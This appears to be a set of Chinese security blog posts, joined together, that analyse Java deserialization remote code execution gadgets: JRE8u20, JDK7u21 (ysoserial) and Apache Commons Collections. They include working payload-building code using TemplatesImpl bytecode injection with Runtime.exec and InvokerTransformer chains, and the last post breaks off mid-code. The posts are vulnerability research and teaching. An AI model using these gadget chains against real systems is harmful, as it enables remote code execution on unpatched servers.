AuthClass authClass = new AuthClass("123456"); ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("/tmp/authClass.bin")); oos.writeObject(authClass); oos.writeObject(authClass); oos.close(); 将这个类序列化后，得到的内容如下： 00000000: aced 0005 7372 0027 6d65 2e6c 6967 6874 ....sr.'me.light 00000010: 6c65 7373 2e64 6573 6572 6961 6c69 7a65 less.deserialize 00000020: 2e76 756c 6e2e 4175 7468 436c 6173 7300 .vuln.AuthClass. 00000030: 0000 0000 0000 6402 0001 4c00 0870 6173 ......d...L..pas 00000040: 7377 6f72 6474 0012 4c6a 6176 612f 6c61 swordt..Ljava/la 00000050: 6e67 2f53 7472 696e 673b 7870 7400 0631 ng/String;xpt..1 00000060: 3233 3435 36 23456 分析文件的时候，推荐借助SerializationDumper来分析，由于SerializationDumper会帮我们加上一些原本没有的数据帮助我们理解，所以还是需要借助原始的十六进制字节来辅助研究。 前面说过了序列化后的字节流其实是有一些格式的，在我们开始阅读这些字节之前，需要先看几个常用的格式。 TC_STRING，这个表示的是一个字符串，格式如下： TC_STRING newHandle length(2 bytes) value TC_STRGIN 00 08 70 61 73 73 77 6f 72 64 其实newHandle是不会写入文件中的（后面的newHandle同理，也没有实际写入文件），但是在反序列化的时候确实会实际分配这样的4个字节，具体作用后面再看。 TC_OBJECT，表示一个对象，格式如下： TC_OBJECT classDesc newHandle classdata[] classDesc是一个TC_CLASSDESC结构，classdata[]就是对象中实际的数据。 TC_CLASSDESC，是一个用来描述类的结构，主要包括类的名称、有几个成员、每个成员的类型以及成员名等信息。 TC_CLASSDESC className serialVersionUID newHandle classDescInfo 或 TC_PROXYCLASSDESC newHandle proxyClassDescInfo classDescInfo包括：classDescFlags fields classAnnotation superClassDesc 翻译一下主要是这些数据： 0x72 - 开始标记-TC_CLASSDESC 2字节，类名长度，后面紧接类名，其实是个TC_STRING 8字节，指纹-serialVersionUID 1字节，标志-classDescFlags 2字节，数据域描述符的数量，后面紧跟多个数据域描述符，其实是fields 0x78 - 是classAnnotation，如果classAnnotation为空则直接使用0x78来表示classAnnotation的结束标记 1字节，超类类型-superClassDesc，如果 没有就是70 serialVersionUID，是可以在代码中指定的，如果没有指定，会通过拼接类的一些数据进行SHA计算，然后获取前8个字节作为指纹。 classDescFlags，是定义在java.io.ObjectStreamConstatns中的，由多位掩码组成，例如SC_WRITE_METHOD，SC_SERIALIZABLE等。 fields，是描述类中的数据域成员信息的结构，包括成员的名称，类型等信息。 fields: (short)<count> fieldDesc[count] fieldDesc: primitiveDesc objectDesc primitiveDesc: prim_typecode fieldName objectDesc: obj_typecode fieldName className1 看起来十分的复杂，实际上简化一下就是先存储field的数量，然后按顺序依次存储每个field。 每个field包括field的类型，以及filed的名称，如果field是对象（prim_typecode == L），那么在fieldName之后需要继续添加对该对象的描述。 可用的prim_typecode有B,C,D,F,I,J,L,S,Z,[这几种。分别对应 B，byte C，char D，double F，float I，int J，long L，对象 S，short Z，boolean [，数组 我们使用刚刚序列化后的AuthClass来看一下fields字段： fieldCount - 1 - 0x00 01 Fields 0: Object - L - 0x4c // 该域的类型，L，表示是一个对象 fieldName // 该域的名称，是一个不完整的TC_STRING结构，需要注意的是这里没有TC_STRING标志开头 Length - 8 - 0x00 08 Value - password - 0x70617373776f7264 className1 // 由于该域是一个对象，所以需要紧跟描述对象的结构objectDesc TC_STRING - 0x74 // 注意这里也是一个TC_STRING对象，但是这里是具有TC_STRING标志 Length - 18 - 0x00 12 Value - Ljava/lang/String; - 0x4c6a6176612f6c616e672f537472696e673b ``` TC_REFERENCE，是引用类型。从前面的几个结构可以看出来，序列化后的数据其实相当繁琐，多层嵌套很容易搞乱，在恢复对象的时候也不太容易。于是就有了引用这个东西，他可以引用在此之前已经出现过的对象。 TC_REFERENCE Handle 那么现在的问题是，在反序列化的时候，Java怎么知道当前引用的是前面出现过的哪一个对象？这时候前面提到过的newHandle就是做这个用的，newHandle是一个递增的4字节数据，从00 7e 00 00开始，每出现一个对象，就会为这个对象设置一个handle，并且自增1。所以在使用TC_REFERENCE的时候只需要跟上对应对象的handle即可。 看下AutchClass第二次写入的时候是什么样的： TC_REFERENCE - 0x71 Handle - 8257538 - 0x00 7e 00 02 而这个007e0002就是AuthClass对应的TC_CLASSDESC结构。 下面来完整的看一下刚才产生的反序列化数据，应当已经能够理解了。 $ java -jar ./SerializationDumper-v1.0.jar -r ./authClass.bin STREAM_MAGIC - 0xac ed STREAM_VERSION - 0x00 05 Contents TC_OBJECT - 0x73 TC_CLASSDESC - 0x72 className Length - 39 - 0x00 27 Value - me.lightless.deserialize.vuln.AuthClass - 0x6d652e6c696768746c6573732e646573657269616c697a652e76756c6e2e41757468436c617373 serialVersionUID - 0x00 00 00 00 00 00 00 64 newHandle 0x00 7e 00 00 classDescFlags - 0x02 - SC_SERIALIZABLE fieldCount - 1 - 0x00 01 Fields 0: Object - L - 0x4c fieldName Length - 8 - 0x00 08 Value - password - 0x70617373776f7264 className1 TC_STRING - 0x74 newHandle 0x00 7e 00 01 Length - 18 - 0x00 12 Value - Ljava/lang/String; - 0x4c6a6176612f6c616e672f537472696e673b classAnnotations TC_ENDBLOCKDATA - 0x78 superClassDesc TC_NULL - 0x70 newHandle 0x00 7e 00 02 classdata me.lightless.deserialize.vuln.AuthClass values password (object) TC_STRING - 0x74 newHandle 0x00 7e 00 03 Length - 6 - 0x00 06 Value - 123456 - 0x313233343536 TC_REFERENCE - 0x71 Handle - 8257538 - 0x00 7e 00 02 开头STREAM_MAGIC相当于魔数，固定为0xACED，紧接着是序列化协议的版本，目前为0x0005， 再接下来就是实际的数据了，比较简单。 最后还有一个比较重要的成员是TC_BLOCKDATA，如果这个类重写了writeObject方法，并且在序列化对象之前写入了一些额外的数据，就会在序列化后放到TC_BLOCKDATA结构中，比如LinkedHashSet类: private void writeObject(java.io.ObjectOutputStream s) throws java.io.IOException { // Write out any hidden serialization magic s.defaultWriteObject(); // Write out HashMap capacity and load factor s.writeInt(map.capacity()); s.writeFloat(map.loadFactor()); // Write out size s.writeInt(map.size()); // Write out all elements in the proper order. for (E e : map.keySet()) s.writeObject(e); } 该方法在序列化的时候，额外写入了capacity, loadFactor 和 size数据，这就会导致一个LinkedHashSet被序列化后加上额外的数据： classdata java.util.HashSet values objectAnnotation TC_BLOCKDATA - 0x77 Length - 12 - 0x0c Contents - 0x000000103f40000000000002 // 这部分就是额外的数据 TC_STRING - 0x74 newHandle 0x00 7e 00 02 Length - 3 - 0x00 03 Value - aaa - 0x616161 TC_STRING - 0x74 newHandle 0x00 7e 00 03 Length - 3 - 0x00 03 Value - bbb - 0x626262 TC_ENDBLOCKDATA - 0x78 classdata的开始部分就是附加上的TC_BLOCKDATA。紧随其后的就是每个成员的实际数据，按照TC_CLASSDESC中的的顺序排列。 0x02 Review JDK7u21 现在回过头来看JDK7u21漏洞的修复： 这里增加了一步对type字段类型的检查，如果传入的类型不是AnnotationType，那么就会抛出一个异常，退出反序列化流程。然而我们在构造payload的时候，将type赋值为Templates.class，自然是过不了这个检查，所以JDK7u21也就无法在后续的Java版本上使用了。 但是我们仔细的读一下这个代码，可以看到先进行了var1.defaultReadObject()对这些数据进行了反序列化，然后才进行的类型检查，然后再抛出异常，停止序列化流程。但是这个时候我们的evil object已经被反序列化完成了，只是没有办法去触发而已，如果我们找到一个类，它会在反序列化的时候catch异常并且完成整个反序列化流程，似乎看起来有些希望。 我们比较想找到类似这样的点： private void readObject(ObjectInputStream input) throws Exception { try { input.readObject(); // 这里会调用到AnnotationInvocationHandler的readObject } catch (Exception e) { // 啥也不做，继续反序列下一个对象 } } JRE8u20的漏洞作者在writeup中提到了这样的一个点：java.beans.beancontext.BeanContextSupport，其中在反序列化的时候，有一个try..catch结构，并且依次进行反序列化。 所以如果我们能在进行反序列化的时候触发漏洞，依然可以使用JDK7u21的payload来进行命令执行。所以如何将关键的AnnotationInvocationHandler进行触发就是重点了。前面讲到了如果需要引用一个已经出现过的结构，通过TC_REFERENCE加handle的形式进行引用，那么如果我们序列化数据中存在一个假的对象，即在类的定义中没有出现过的成员，那么在反序列化的时候，该对象会被抛弃掉，但是还是会为该对象分配一个handle，这个就是JRE8u20的利用基础。 我们通过在JDK7u21的proxy对象（LinkedHashSet的第二个数据）中插入一个假的成员，使其为BeanContextSupport的对象，在反序列化的时候这个数据会被抛弃掉，因为实际上类的定义中并没有这么一个成员，但是该对象依然会被反序列化并且为其分配handle，那么在BeanContextSupport的反序列化过程中，就可以利用前面提到的try...catch...结构顺利的还原出AnnotationInvocationHandler对象，并且通过构造序列化数据完成整个序列化流程。 0x03 构造Payload 整个payload还是基于GitHub上的这个代码写的，基本上没有变过，不得不说作者实在是太厉害啦。 整体的思路就是构造一个LinkedHashSet，其中有两个元素，第一个为存放了恶意代码的templates，第二个就是Templates Proxy，里面存放AnnotationInvocationHander。 step 1 构造LinkedHashSet 这步比较简单，按照我们之前看过的TC_OBJECT格式就可以写出来: TC_OBJECT TC_CLASSDESC LinkedHashSet.class.getName() // classname，这里先省略掉长度等无关的内容 -2851667679971038690L // 指纹ID (byte) 2 // flags: SC_SERIALIZABLE (short) 0 // field count TC_ENDBLOCKDATA // classAnnotations TC_CLASSDESC // 父类，LinkedHashSet的父类是HashSet HashSet.class.getName() // HashSet名称 -5024744406713321676L // HashSet指纹ID (byte) 3 // HashSet的flags: SC_SERIALIZABLE & SC_WRITE_METHOD (short) 0 // HashSet field count TC_ENDBLOCKDATA // HashSet classAnnotations TC_NULL // HashSet 没有父类了 // 以下是LinkedHashSet的classdata数据部分 blockdata element1 element2 step 2 blockdata && element1 这块比较简单，就是要把HashMap的blockdata和第一个template元素放进去。我们先看下HashSet的writeObject部分，来确定需要写入哪些额外的部分。 可以看到，除了默认的defaultWriteObject方法外，还额外的写入了Int, Float, Int三个数据。我们构造一个普通的LinkedHashSet并且序列化以后，将这块的数据直接拿过来就可以了。 element1就是实际的template对象，我们先直接拿过来，然后classdata部分就变成了这样： classdata TC_BLOCKDATA - 0x77 Length - 12 - 0x0c Contents - 0x000000103f40000000000002 templates element2 step 3 构造Templates Proxy 这部分相对来说比较复杂巧妙，也是构造PoC的核心部分。 既然是一个Proxy对象，那么首先要构造一个TC_OBJECT TC_OBJECT TC_PROXYCLASSDESC // proxy class declaration 1 // interface count Templates.class.getName() // interface name TC_ENDBLOCKDATA // classAnnotations TC_CLASSDESC // super class desc Proxy.class.getName() -2222568056686623797L SC_SERIALIZABLE (short) 2 (byte) 'L', "dummy", TC_STRING, "Ljava/lang/Object;", // dummy non-existent field (byte) 'L', "h", TC_STRING, "Ljava/lang/reflect/InvocationHandler;", // h field TC_ENDBLOCK TC_NULL 这里插入了一个不存在的成员dummy，在反序列化的时候会抛弃这个成员，但是仍然会为其进行反序列化操作。再向下构造就是这个PROXYCLASSDESC的classdata，第一个数据是一个BeanContextSupport类的对象，依然要先构造CLASSDESC TC_OBJECT TC_CLASSDESC BeanContextSupport.class.getName() -4879613978649577204L (byte) (SC_SERIALIZABLE | SC_WRITE_METHOD) (short) 1 (byte) 'I', "serializable" TC_ENDBLOCKDATA TC_CLASSDESC // super class BeanContextChildSupport.class.getName() 6328947014421475877L, SC_SERIALIZABLE, (short) 1 (byte) 'L', "beanContextChildPeer", TC_STRING, "Ljava/beans/beancontext/BeanContextChild;" TC_ENDBLOCKDATA TC_NULL // BeanContextChildSupport 的 classdata部分 TC_REFERENCE, X // X是需要便宜的数值 // BeanContextChildSupport的classdata部分 1 到这里之后先停一下，我们再回顾一下BeanContextSupport的源码: private synchronized void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { synchronized(BeanContext.globalHierarchyLock) { ois.defaultReadObject(); initialize(); bcsPreDeserializationHook(ois); if (serializable > 0 && this.equals(getBeanContextPeer())) readChildren(ois); deserialize(ois, bcmListeners = new ArrayList(1)); } } public final void readChildren(ObjectInputStream ois) throws IOException, ClassNotFoundException { int count = serializable; while (count-- > 0) { Object child = null; BeanContextSupport.BCSChild bscc = null; try { child = ois.readObject(); bscc = (BeanContextSupport.BCSChild)ois.readObject(); } catch (IOException ioe) { continue; } catch (ClassNotFoundException cnfe) { continue; } .... } } 从代码中可以看到，源码中已经通过ois.defaultReadObject()方法还原了stream中的BeanContextSupport对象，之后因为我们构造了serializable的值为1，所以会继续执行readChildren(ois)方法，在这个方法中会继续从stream中读取一个object，这时候就要把我们构造好的AnnotationInvocationHandler对象传进去，令其反序列化这个对象。所以紧接着我们构造： TC_OBJECT TC_CLASSDESC "sun.reflect.annotation.AnnotationInvocationHandler" 6182022883658399397L (byte) (SC_SERIALIZABLE | SC_WRITE_METHOD) (short) 2 (byte) 'L', "type", TC_STRING, "Ljava/lang/Class;" (byte) 'L', "memberValues", TC_STRING, "Ljava/util/Map;" TC_ENDBLOCKDATA TC_NULL // classdata Templates.class map 在readChildern(ois)中，在执行child = ois.readObject()时，会抛出异常，但这个异常被catach了，然后会返回到BeanContextSupport.readObject()方法中，继续向下执行到deserialize(ois, bcmListeners = new ArrayList(1))。 protected final void deserialize(ObjectInputStream ois, Collection coll) throws IOException, ClassNotFoundException { int count = 0; count = ois.readInt(); while (count-- > 0) { coll.add(ois.readObject()); } } 他会继续从stream中读取一个Int，并且按照这个数量读取对应多个Object，所以我们只要传个0进行就可以了。 TC_BLOCKDATA (byte) 4, 0 TC_ENDBLOCKDATA 到这里我们已经构造好了dummy这个假的成员，目的是为了给AnnotationInvocationHandler分配一个handle，所以在proxy的h成员中直接构造TC_REFREENCE, Y就可以了，Y就是handle的偏移量。 到目前为止，整体的PoC已经写好了，然后有个问题就是偏移量的计算，主要有两个地方，一个是dummy中beanContextChildPeer的值，另外就是Proxy.h的值。 step 4 偏移量确定 先来看下beanContextChildPeer应当如何赋值，来看beanContextSupport的超类BeanContextChildSupport代码： public class BeanContextChildSupport implements BeanContextChild, BeanContextServicesListener, Serializable { ... public BeanContextChildSupport() { super(); beanContextChildPeer = this; pcSupport = new PropertyChangeSupport(beanContextChildPeer); vcSupport = new VetoableChangeSupport(beanContextChildPeer); } private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { ois.defaultReadObject(); } ... public BeanContextChild beanContextChildPeer; } 可以看到在构造方法中将beanContextChildPeer赋值到了this上，所以如果我们想要触发BeanContextSupport.readObject方法，就必须让this变成BeanContextSupport，这就需要用TC_REFERENCE来将前面写好的结构引过来。 另外一处需要计算偏移量的就是Proxy.h，这个直接引用构造好的AnnotationInvocationHandler结构就可以了。 那么这个偏移量应该怎么算呢，其实也简单，我们先看templates变量之前，一个子类一个父类，共3个handle，templates之后和待确定的TC_REFERENCE之前一共有9个handle，其中BeanContextSupport对象在最后一个位置。然后我们将templates对象序列化一下，然后看看这个里面会分配多少个handle。 统计一下一共14个handle，那么我们要引用的偏移就是3 + 14 + 9 = 26，但是偏移量是从开始算的，所以这里应该是+25，变成序列化格式就是0x007e0019。同理再将最后的Proxy.h结构按照相同的方法计算，结果就是29，也就是0x007e001d 原作者在代码中留了个坑，在编写序列化数据的时候，在数组里留下了baseWireHandle + 12和baseWireHandle + 16这种偏移，但是实际上这个并不是真正的偏移值，作者调用了patch方法修复了很多处的问题，当然这两处也被修改掉了。 step 5 偏移量修复 将PoC写好后，会发现根本无法运行，原因是我们在构造序列化数据的时候，会出现偏移量错误的情况，因为有些对象是直接赋值到数组中而不是构造进去的，所以在TC_REFERENCE引用的时候其实是有误差的。经过检查所有出现TC_REFERENCE的部分，总共有3处偏移量需要修复。 这个TemplatesImpl._name成员应该是String类型，但是却被错误的引用到了java.util.HashSet类型，所以我们要将这里调整为0x00 7e 00 04，这一处的handle为Ljava/lang/String;，刚好满足需要，原作者在这里写错了，他将偏移量改为了0x00 7e 00 05，虽然没有发现会影响运行，但是类型对不上号了。 调整好后再次运行，发现序列化数据在这里出现了问题 在使用dumper.jar查看数据的时候出现了Invalid classDesc reference的情况，很明显这个0x007e000a的偏移是有问题的。这里应当引用的是TC_ARRAY结构后面的TC_CLASSDESC，数组中的前一个元素已经定义好了，它的newHandle为0x007e000d。 第三个点比较奇怪，不修复的话PoC也能运行成功，但还是推荐修复一下。 漏洞作者将这个TC_REFREENCE 0x007e0002修复为了TC_REFREENCE 0x007e0009，对应上了TemplatesImpl结构，因为我们在JDK7u21中构造的时候是这样的： 需要将恶意的templates放到map中，所以这里也需要修复，但是我在实际测试的时候发现，即便不对此处进行修复，依然可以触发命令执行。 到这里整个PoC就已经全部构造完成了，PoC的详情可以参考我的GitHub :) 0x04 修复 在JRE8u20之后的版本，该漏洞已经修复了。 使用了readField方法规避了对整个对象的还原，并且也可以对序列化对象的类型进行检查。 我们在开发需要处理序列化数据接口的时候，也可以参考这种防御的思路，预先对数据进行检查，只还原白名单中允许的接口。 0xFF 参考文献 这位大佬自己写了个SerialWriter，比我手算偏移量方便许多； https://www.anquanke.com/post/id/87270 https://docs.oracle.com/javase/8/docs/platform/serialization/spec/protocol.html https://github.com/pwntester/JRE8u20_RCE_Gadget
这篇文章应当是对Java反序列化漏洞理解的一个分界点吧。。。 0x00 TLDR 在上一次研究ApacheCommonsCollections的时候，由于本地的JRE环境是1.8，导致无法复现网上各位大佬提供的payload，但是在查找资料的过程中发现了ysoserial这个项目，简单的讲就是一个Java反序列化漏洞的利用框架，其中集成了很多针对不同框架的payload。在使用这个框架的过程中，发现了一个JDK7u21的payload，利用的是JDK本身的漏洞，但是如名称所言，这个只在JDK7u21及以前的版本中生效，在经过了多天的调试分析后，发现这个漏洞利用流程非常巧妙复杂，有很多值得学习的地方，漏洞作者也写出了一份writeup放在了gist上。 本以为这个漏洞看起来十分简单，但是实际调试起来却非常困难，足足让本菜鸡调了好几天才彻底搞明白，有一部分也是因为不熟悉Java的某些特性造成的，所以想要学习到东西还是要亲手尝试一下，只是拜读其他大佬的文章并没有什么用，而且总结成文也是再次加深了对漏洞的理解，毕竟想要给大家讲明白就需要自己先搞明白。 纸上得来终觉浅，绝知此事要躬行。 0x01 动态生成Java代码 在着手分析之前，我们先来学习一下前置技能。在这个PoC中，作者通过javassist来动态生成了恶意的gadgets，用来触发命令执行。 public static TemplatesImpl createTemplatesImpl(final String command) throws Exception { // 利用TemplatesImpl类来触发恶意的bytescode final TemplatesImpl templates = new TemplatesImpl(); // 获取容器ClassPool，注入classpath ClassPool pool = ClassPool.getDefault(); System.out.println("insertClassPath: " + new ClassClassPath(StubTransletPayload.class)); pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); // 获取已经编译好的类 System.out.println("ClassName: " + StubTransletPayload.class.getName()); final CtClass clazz = pool.get(StubTransletPayload.class.getName()); // 在静态的的构造方法中插入payload clazz.makeClassInitializer() .insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") + "\");"); // 给payload类设置一个名称 // unique name to allow repeated execution (watch out for PermGen exhaustion) clazz.setName("ysoserial.Pwner" + System.nanoTime()); // 获取该类的字节码 final byte[] classBytes = clazz.toBytecode(); // inject class bytes into instance Reflections.setFieldValue( templates, "_bytecodes", new byte[][] { classBytes, ClassFiles.classAsBytes(Foo.class) }); // required to make TemplatesImpl happy Reflections.setFieldValue(templates, "_name", "Pwnr"); Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); // 只要触发这个方法就能执行我们注入的bytecodes // templates.getOutputProperties(); return templates; } 相关的说明在注释中已经给出了，通过精心构造一个TemplatesImpl对象，并且想办法触发该对象的getOutputPropertites()方法，就能执行我们构造的命令。 0x02 动态代理 Java中的动态代理十分灵活，只需要为一组接口指定好InvocationHandler对象，那么调用接口方法的时候，将会被转派到handler对象的invoke方法，在这个方法中可以通过反射执行原方法，也可以做一些其他的操作。 所有的Handler类都需要实现InvocationHandler这个接口，当我们通过代理对象调用某个方法的时候，这次调用就会被转派到Handler的invoke方法，该函数签名如下： Object invoke(Object proxy, Method method, Object[] args) throws Throwable proxy: 是被代理的真实对象 method: 要调用的真实对象方法的Method对象 args: 调用真实对象方法时的参数 当创建好InvocationHandler对象后，就可以通过Proxy.newProxyInstance方法来创建动态代理，该方法签名如下： public static Object newProxyInstance(ClassLoader loader, Class<?>[] interfaces, InvocationHandler h) throws IllegalArgumentException loader: 定义由哪个ClassLoader对象来对生成的代理对象进行加载 interfaces: Interface对象的数组，表示将要给需要代理的对象提供的一组什么接口 h: InvocationHandler对象，表示当目前这个动态代理对象在调用方法的时候，应当关联到哪一个InvocationHandler对象上 来看一个动态代理的例子： // 需要实现的接口 interface ISubject { public void hello(String str); } // 实际的需要被代理的对象 class SubjectImpl implements ISubject { public void hello(String str) { System.out.println("SubjectImpl.hello(): " + str); } } // Handler对象 class Handler implements InvocationHandler { private Object subject; public Handler(Object subject) { this.subject = subject; } public Object invoke(Object object, Method method, Object[] args) throws Throwable { System.out.println("before!"); method.invoke(this.subject, args); System.out.println("after!"); return null; } } public class DynamicProxy { public static void main(String[] args) { SubjectImpl subject = new SubjectImpl(); InvocationHandler tempHandler = new Handler(subject); // 创建代理 ISubject iSubject = (ISubject) Proxy.newProxyInstance(ISubject.class.getClassLoader(), new Class<?>[] {ISubject.class}, tempHandler); iSubject.hello("world!"); } } 当代理创建完成后，我们调用iSubject.hello方法时，会被分配到invoke方法执行；输出如下： before! SubjectImpl.hello(): world! after! 0x03 漏洞分析 说了这么多，我们来一起分析一下这个漏洞，这个PoC是在ysoserial中的payload基础上修改而来的，可能会比较易懂，先贴上PoC的主要部分： public Object getObject(final String command) throws Exception { // 生成恶意的templates，想办法触发templates.getOutputProperties();方法 Object templates = Gadgets.createTemplatesImpl(command); String zeroHashCodeStr = "f5a5a608"; // 创建一个新的HashMap HashMap map = new HashMap(); map.put(zeroHashCodeStr, "foo"); // 创建代理使用的handler，AnnotationInvocationHandler作为动态代理的handler // 代理创建完成后，所有调用被代理对象的方法都会调用AnnotationInvocationHandler的invoke方法 Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0]; ctor.setAccessible(true); InvocationHandler tempHandler = (InvocationHandler) ctor.newInstance(Templates.class, map); // 创建代理 // 后续所有调用Templates接口的方法会全部转派到tempHandler.invoke方法 Templates proxy = (Templates) Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), templates.getClass().getInterfaces(), tempHandler); Reflections.setFieldValue(templates, "_auxClasses", null); Reflections.setFieldValue(templates, "_class", null); LinkedHashSet set = new LinkedHashSet(); // maintain order set.add(templates); // 存储了恶意java字节码数据的TemplatesImpl类对象 set.add(proxy); // 代理了Templates接口的对象 map.put(zeroHashCodeStr, templates); // set中存储了最终的payload，只需要反序列化这个就可以触发了 return set; } 大部分的代码上都写了一些注释，整体应该能看懂，接下来就仔细分析一下到底是如何触发命令执行的了。 HashSet其实本质上就是一个HashMap<key, new Object()>，key是我们存进去的数据，而value就是静态的Object对象。 当LinkedHashSet被反序列的时候，会调用其父类HashSet的readObject方法。 根据这一部分的逻辑，可以看出来在反序列化的时候，会依次将templates和proxy加入到map中，继续跟进put方法： 有一处很关键的比较，就是图中打了断点的475行，这里我们需要继续触发key.equals(k)方法，前面的判等我们暂且不谈，先继续向下跟进。由于我们代理了templates接口，当调用到templates.equals()的时候，自然会调用到handler的invoke方法，这里也就是会调用proxy.equals(templates)方法。 继续跟进equalsImpl方法，会发现这个方法会依次调用Templates的每一个方法，（如果不太理解的话可以在这里下断单步跟一下），所以会调用到我们前面提到的Templates.getOutputProperties()方法，进而造成命令执行。 到这里整个流程已经走通了，整体的调用链也就像这样，引用一下漏洞作者的图： 简化一下就是下面这样子： LinkedHashSet.readObject() HashSet.readObject() HashMap.put() templates.equals() AnnotationInvocationHandler.invoke() AnnotationInvocationHandler.equalsImpl() Method.invoke() TemplatesImpl.getOutputProperties() 至于为什么调用TemplatesImpl.getOutputProperties()就能执行命令，各位同学可以自行跟一下，漏洞作者也给出了调用链，并不是很难理解，这里就不再展开说明了。 0x04 绕过hash 刚刚我们提到了一个很重要的判断，想要利用equals方法必须绕过前面的hash判等。 e.hash == hash && ((k = e.key) == key || key.equals(k)) 为了调用到最后的key.equals方法，根据逻辑短路原理（如果不知道啥是短路原理请自行google），必须让e.hash == hash为true，并且(k = e.key) == key为false。 当执行到put(proxy)的时候，map里实际上已经有第一个templates，这里的hash就是proxy.hashCode，e.hash就是templates.hashCode，也就是需要达成proxy.hashCode() == templates.hashCode()这个条件。 templates.hashCode()比较好说，这个类没有重写，调用的是默认的hashCode方法。当调用proxy.hashCode()的时候，则会跳到AnnotationInvocationHandler.invoke()方法，再来看一下这个方法是如何处理hashCode()方法的。 在48行调用了this.hashCodeImpl()方法，继续跟进后发现该方法会从memberValues中进行遍历，并且依次计算key.hashCode()，而这个memberValues是我们在初始化AnnotationInvocationHandler的时候传入的： // 创建一个新的HashMap HashMap map = new HashMap(); map.put(zeroHashCodeStr, "foo"); // 没有这行也OK // 创建代理使用的handler，AnnotationInvocationHandler作为动态代理的handler // 代理创建完成后，所有调用被代理对象的方法都会调用AnnotationInvocationHandler的invoke方法 Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0]; ctor.setAccessible(true); InvocationHandler tempHandler = (InvocationHandler) ctor.newInstance(Templates.class, map); ... map.put(zeroHashCodeStr, templates); 这个map的key就是我们设置的特殊字符串『f5a5a608』，而这个字符串的hashCode是0，可以说是非常有意思了。而整个看起来很长的循环，实际上也就变成了 var1 += 127 * (0 ^ entry.getValue().hashCode()) 那这个value是啥呢，就是我们构造的templates。整个hash计算就变成了templates.hashCode()，所以proxy.hashCode() == templates.hashCode()也就成立了，如果不理解的话还是建议各位同学手动调试一下。 第二个条件e.key == key是很明显的不同的，一个是templates，另一个是proxy，所以这个条件是false，最终会调用到equals方法。 0x05 总结 && 参考 至此整个漏洞已经分析完了，后续Java的修复方案我们放在分析JDK8u20的时候一并来讲。这个漏洞利用了Java的许多机制，调试完了感觉思路扩宽了许多，还是要继续学习。完整的POC我会放在GitHub上。 https://gist.github.com/frohoff/24af7913611f8406eaf3 https://blog.csdn.net/u011721501/article/details/78607633 https://github.com/frohoff/ysoserial/blob/e9f112ac50ef4fad5a5858068162cc6987cf9121/src/main/java/ysoserial/payloads/Jdk7u21.java http://drops.the404.me/637.html
[Java unserialization] ApacheCommonsCollections 反序列化漏洞分析
0x00 CommonsCollections 上篇文章讲道了Spring-tx组件出现的问题，通过构造RMI和JNDI来供服务端下载恶意class并通过反序列化进行RCE，这次研究一下另外一种漏洞，利用Java的反射机制来执行任意命令，并且通过反序列化来进行RCE。本次分析的漏洞则是2015年出现的Apache-commons-collections组件出现的反序列化问题，这个包为Java提供了很多基础常用且强大的数据结构，方便开发。 0x01 TransformedMap 看网上的大佬们说这次出现的问题是由于TransformedMap和InvokerTransformer造成的。 TransformedMap这个类是用来对Map进行某些变换用的，例如当我们修改Map中的某个值时，就会触发我们预先定义好的某些操作来对Map进行处理。 Map transformedMap = TransformedMap.decorate(map, keyTransformer, valueTransformer); 通过decorate函数就可以将一个普通的Map转换为一个TransformedMap。第二个参数和第三个参数分别对应当key改变和value改变时需要做的操作；Transformer是一个接口，实现transform(Object input)方法即可进行实际的变换操作，按照如上代码生成transformedMap后，如果修改了其中的任意key或value，都会调用对应的transform方法去进行一些变换操作。 如果想要进行一系列的变换操作，可以通过定义一个ChainedTransformer来实现，只需要传入一个Transformer数组即可： Transformer[] transformers = new Transformer[] { new ConstantTransformer(...), new InvokerTransformer(...) }; Transformer chainedTransformer = new ChainedTransformer(transformers); Map transMap = TransformedMap.decorate(rawMap, null, chainedTransformer); CommonCollections也已经内置了许多常见的transformer，无需手工编写，其中有一个InvokerTransformer十分有趣，可以通过反射的方式去调用任意的函数，也是我们执行命令的关键。 0x02 Run exec 在Java中执行命令一般通过Runtime.getRuntime().exec("command")来执行命令，如果我们想在修改transformedMap时执行命令，就需要构造一个特殊的ChainedTransformer来反射出exec函数。 在构造之前，我们要先看一下ChainedTransformer和InvokerTransformer是如何工作的，下面的代码会触发chainedTransformer开始进行变换： Map normalMap = new HashMap(); normalMap.put("foo", "bar"); Map transformMap = TransformedMap.decorate(normalMap, transformChain, transformChain); Map.Entry entry = (Map.Entry) transformMap.entrySet().iterator().next(); entry.setValue("test"); 最终会调用到org/apache/commons/collections/functors/ChainedTransformer.class中的transform方法。 可以看到这个链中，会将上一次变换的结果作为下一次变换的输入，直到所有的变换完成，并返回最终的object，很容易理解，就不过多赘述了。 下面来看下InvokerTransformer的关键代码 关键部分在于通过getClass()、getMethod、invoke()来进行反射，查找并调用给定的方法。 在我们构造的chain中，最终实现的应当是执行类似于 ((Runtime) Runtime.class.getMethod("getRuntime").invoke()).exec("ifconfig") 这样的代码，所以chain的第一步就是获取Runtime类，可以通过内置的ConstantTransformer来获取，所以chain现在是这个样子： Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class) }; Transformer transformChain = new ChainedTransformer(transformers); 接下来就是通过InvokerTransformer来反射调用getMethod方法，参数是getRuntime，以此来获取到Runtime.getRuntime。InvokerTransformer接受三个参数，分别是调用方法的名称，参数类型，调用参数。所以第一个参数就应当为getMethod；而getMethod方法的签名为getMethod(String, Class...)，我们实际用的时候也只传入了一个String，所以第二个参数应当写为new Class[] {String.class, Class[].class}，第三个参数则为调用getMethod时候实际传入的参数，所以应当为new Object[] {"getRuntime", new Class[0]}就可以了。 到这里chain已经是这个样子了： Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}) }; Transformer transformChain = new ChainedTransformer(transformers); 紧接着我们按照同样的方法构造出调用invoke和exec的InvokerTransformer，整个chain就完成了。 Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new 